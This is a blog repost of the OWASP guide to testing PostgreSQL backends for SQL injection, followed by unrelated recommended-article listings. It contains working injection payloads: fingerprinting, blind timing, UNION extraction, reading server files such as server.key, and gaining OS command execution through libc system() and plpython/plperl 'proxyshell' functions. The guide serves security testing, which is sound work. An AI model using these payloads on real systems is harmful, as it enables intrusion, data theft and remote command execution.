postpresql

PostgreSql简介 PostgreSQL简介 阅读详情

https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

 

OWASP Backend Security Project Testing PostgreSQL

From OWASP

Jump to: navigation, search

Contents

[hide]

Overview

In this section, some SQL Injection techniques for PostgreSQL will be discussed. Keep in mind the following characteristics:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we assume that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.

Description

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1

In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--

An example of a banner string that could be returned is:

 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection). In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  • chr(n): Returns the character whose ASCII value corresponds to the number n
  • ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' as:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Reading from a file

PostgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.

Example:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves the number of rows previously added in file_store with COPY statement
  • retrieves a row at a time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

Examples:

  • SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting its stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on a database:
    SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • If not, try to enable:
    CREATE LANGUAGE plpythonu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell( os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not, assuming that sysadm has already installed the plperl package, try :
    CREATE LANGUAGE plperlu
  • If either of the above succeeded, create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell( os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run an OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References

PostPreSql 数据库的一些用法 1、varchar 类型转换成数字 select sum(CAST(order_num AS NUMERIC)) from ads_port_cli_cons_freq_rpt where yr='2023' and mon = '08' 阅读详情

相关推荐

从PostpreSql MVCC的角度看real_flg

Oracle 和 MySql的Innoodb引擎都实现了多版本的功能,但是与PG的实现方式不一样。前者的旧版本数据并不记录在原先的数据块中,而是记录在回滚段中。如果要读取旧版本的数据,需要根据回滚段的数据重构旧版本数据。 比如:在实际业务中,EDA 对有重复数据有一张table就是在表名后加一个"_OLD"。来区分新旧数据。() ...

MyySophia的博客 572

PostgreSQL初体验

一、基础定义与历史演进。

Lemon__ing的博客 1650

结构力学程序算法理论基础(一)————虚功原理

1.约束 定义约束:限制质点或者质点系运动的条件称为约束,表示这些限制条件的数学方程称为约束方程。 (1)几何约束 限制质点或者质点系在空间的几何位置的条件称为几何约束.如单摆,其中质点M可绕固定点O在平面Oxy内摆动,摆长为l.这时摆杆对质点的限制条件是:质点M必须在以点O为圆心,以l为半径的圆周上运动.其约束方程为: 又质点M在固定的曲面上运动,那么曲面方程就是质点M的约束方程,即 上...

l93919861的博客 4511

PostgreSQL 基础(一)-- 新手教程

PostgreSQL 基础(一)-- 教程

chinusyan的专栏 1万+

ANPC三电平拓扑:两种调制方式解析

ANPC结构是基于“I”型NPC结构(下面讲NPC如不特殊说明,均指的是“I”型结构NPC)发展出来的一种改进型。我们在讲NPC结构的时候会谈到他的一个缺点就是损耗分布不均匀,会导致温升不均衡,进而限制模块的功率输出能力。而ANPC结构由于多了两个开关管以及相应的两个中性点换流回路(如下图),可以更加灵活任意的配置开关管可以使损耗没有那么的不均衡,从而能一定程度上提高模块的输出功率。ANPC拓扑结构图以及增加的环流回路。

IOTBOT的博客 9477

AWS入门实践-如何在AWS云上创建一个内外网隔离的生产环境

在 AWS 上建立一个内外网分离的生产环境,可以减少应用服务的暴露面,有效的保证你的应用服务器的安全。通常我们会将web应用放在外网的子网内,数据库服务器等放在内网的子网。我们将按照下图来部署动手实践环境,实现在public subnet的EC2虚拟机可以直接通过互联网可以访问,在Private subnet的EC2虚拟机不能通过互联网直接访问,但是却可以在内部来访问互联网安装应用等等。

weixin_39108752的博客 2993

postpresql基础知识

安装yum -y install postgresql* postpresql数据库 192.168.127.131 /etc/rc.d/init.d/postgresql 启动 /etc/rc.d/init.d/postgresql start 配置文件 vim /var/lib/pgsql/data/pg_hba.conf 让所有机器都能连接 host all...

进行中 1913

用Python实现古诗词填字游戏(三)

古诗词做填字游戏的第三部分代码,也是最核心的部分。实现对诗文和关键字的选定,并确定文字的输出位置。

PosPro的专栏 6117

postpreSQL 极简使用教程

快速回顾 postgreSQL超表功能 :TimescaleDB 时序数据库的核心功能基本使用。

qq_25031833的博客 563

STM32接入CH340芯片的升级电路及初始化进入升级模式(死机)问题处理

MCU-REST 在 MCU-BOOT0 处于低电平状态下,进行下拉操作,在MCU-REST 与 MCU-BOOT0 恢复正常电平时,将导致MCU死机,MCU-REST 先于 MCU-BOOT0 下拉可解决该问题;MCU-REST 在 上升沿结束时将判断 MCU-BOOT0 的状态,MCU-BOOT0 处于高电平,MCU死机,MCU-BOOT0 处于低电平 MCU 正常;

LuDvei的博客 2489

立创开源便携式多生理参数监护仪:基于STM32H743与ADS1292R的心电血氧体温监测系统设计

本文详细解析了基于STM32H743与ADS1292R的便携式多生理参数监护仪开源设计。项目集成了心电、血氧和体温监测功能,采用模块化硬件架构,并重点介绍了利用FIR滤波和Pan-Tompkins算法进行心电信号处理的核心技术。文章提供了完整的复刻指南与避坑要点,是学习医疗电子设备设计的优秀实践案例。

weixin_30600615的博客 327

PostpreSQL下载、安装、测试

官网地址: https://www.postgresql.org/ 下载地址: https://www.enterprisedb.com/downloads/postgres-postgresql-downloads 中文社区: http://www.postgres.cn/v2/home 下载好后,直接双击安装包开始安装 选择要安装的目录 选择要安装的内容 选择数据存储的位置 输入管理员的密码 (账号为:postgres)密码:postgres 选择端口 下来一直Next就行 点击Finish,

jt781861965的博客 1173

LaTeX公式转Word竟这么简单?Python三行代码实现学术论文格式无忧

本文介绍如何利用Python的latex2word库,仅需三行代码即可将LaTeX数学公式精准转换为Word原生Office Math对象,解决学术写作中LaTeX与Word格式割裂的难题。该方法支持批量处理、格式保真,并能与Markdown、Jupyter Notebook等工具集成,构建自动化写作流程,实现学术论文格式无忧。

qsc90123456的博客 295

postpresql Jdbc java连接

一:下载:postgresql-9.1-901.jdbc4.jar 添加的

chengguoyong的专栏 1096

别再手动更新Excel了!用Jira看板管理你的个人项目(附保姆级配置流程)

本文详细介绍了如何利用Jira看板替代Excel进行个人项目管理,提供从注册到配置的保姆级教程。通过极简看板模式、自动化规则和数据分析功能,帮助用户实现任务可视化、协作高效化和提醒自动化,大幅提升个人工作效率。特别适合需要管理复杂个人项目的用户。

weixin_42699679的博客 226

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

sonarqube+SonarScanner+postpresql+jenkins

如果使用SonarQube Scanner的配置文件方式,可以在“Analysis properties”中指定配置文件的路径,例如 sonar - scanner - Dsonar.projectKey = your_project_key。在 Jenkins 的管理界面中,进入 “Manage Jenkins” -> “Manage Plugins”,搜索并安装 “SonarQube Scanner” 插件。在Jenkins中找到要集成SonarQube扫描的项目,点击项目名称进入项目配置页面。

daxiashangxian的博客 1373

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

PostpreSQL 表元数据查询

PostpreSQL 表元数据查询

weixin_45873444的博客 474

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Backtrack5的Postpresql的使用

Backtrack5的Postpresql的使用 在使用Backtrack5的Postpresql时发现没法正常连接进去,出现如下错误 -----------------------------------------------------------------------------------------------------   msf &gt; db_connect po...

iteye_14896的博客 414

PostpreSQL源码学习-Chapter3 Query Processing

The back-end process(会话服务程序)consists of five subsystems:(or called Five steps)generates a parse tree(根据生成解析树)from an SQL statement(SQL 语句) in plain text.carries out a semantic analysis of a parser tree(对上一步生成的解析树进行语义分析)and。

m0_46182627的博客 802

jdbc postpresql 编程 (一)

import java.sql.*; import javax.naming.directory.DirContext; public class test { public static void main(String[] arg) { String driver="org.postgresql.Driver"; String url="jdbc:postgresql://l

keynumber的专栏 836

postpresql中计算时间差

round( date_part( 'epoch', now() - hosts.net_mac_time ) / 60 ) < 15 AND date_part( 'minute', now() - hosts.net_mac_time ) < 15

初心不改,事在人为 325

2020-08-21 PostpreSQL循环语句

主要讲解PostpreSQL中 while 、for… 循环,期间也会夹杂 if 条件判断语句。 简简单单一个循环框架 如果单纯的想写个循环,那么就利用以下固定格式吧。 简简单单一个循环 老规矩,只要学习循环,就先写个从1到100的累计加法吧。 其实这只是很简单的例子,主要是先理解这个循环结构怎么写,等到熟悉了循环的架构,到时候再灵活结合select、insert、update等语句,就可以完成重复性的插入了、查询等工作。 循环中的记录变量 以往学习存储过程的时候,我就发现如果想把一个text类型

weixin_44778883的博客 569

postpreSQL和oracle数据库的递归

oracle: --包含自身 select * from sec_org start with org_id ='9767FA56D52680AEE043C0A8670580AE' --开始节点connect by prior org_id = parent_org_id --父子关系 --不包含自身 select *from sec_orgstart with pa...

aiti8914的博客 168

postpresql 查询某张表的字段名和字段类型

postpresql 查询某张表的字段名和字段类型。过程记录。

weixin_47467016的博客 2344

PostpreSQL系统表中的字段

每天学习一点点 select oid,relname,relkind from pg_class where relname like 'wpp_adefect_%' and length(relname) &lt; 20 --17使用对象标识符定位表名 select 6224742::regclass; --18 ctid代表数据行在它所处的表的物理位置,vacuum full之后会变化。 -...

MyySophia的博客 1082

(free)史上最全springboot连接postpresql创建登陆注册系统

├── static/ # 静态资源目录(HTML/CSS/JS)上面这一行代码注意,如果用户直接打开创建上述的表,那么会储存在默认的postgres中,如果不是请换成你的数据库。│ ├── controller/ # 控制器类(处理路由)│ └── DemoApplication.java # 启动类。│ └── 你的项目名/首先是文件目录,读者自己创建好相应的文件。

2401_87972995的博客 2498
上一篇: Hacking Postgresql for fun!
下一篇: 几个要学习
hack8
博客等级 码龄18年 109粉丝 128原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值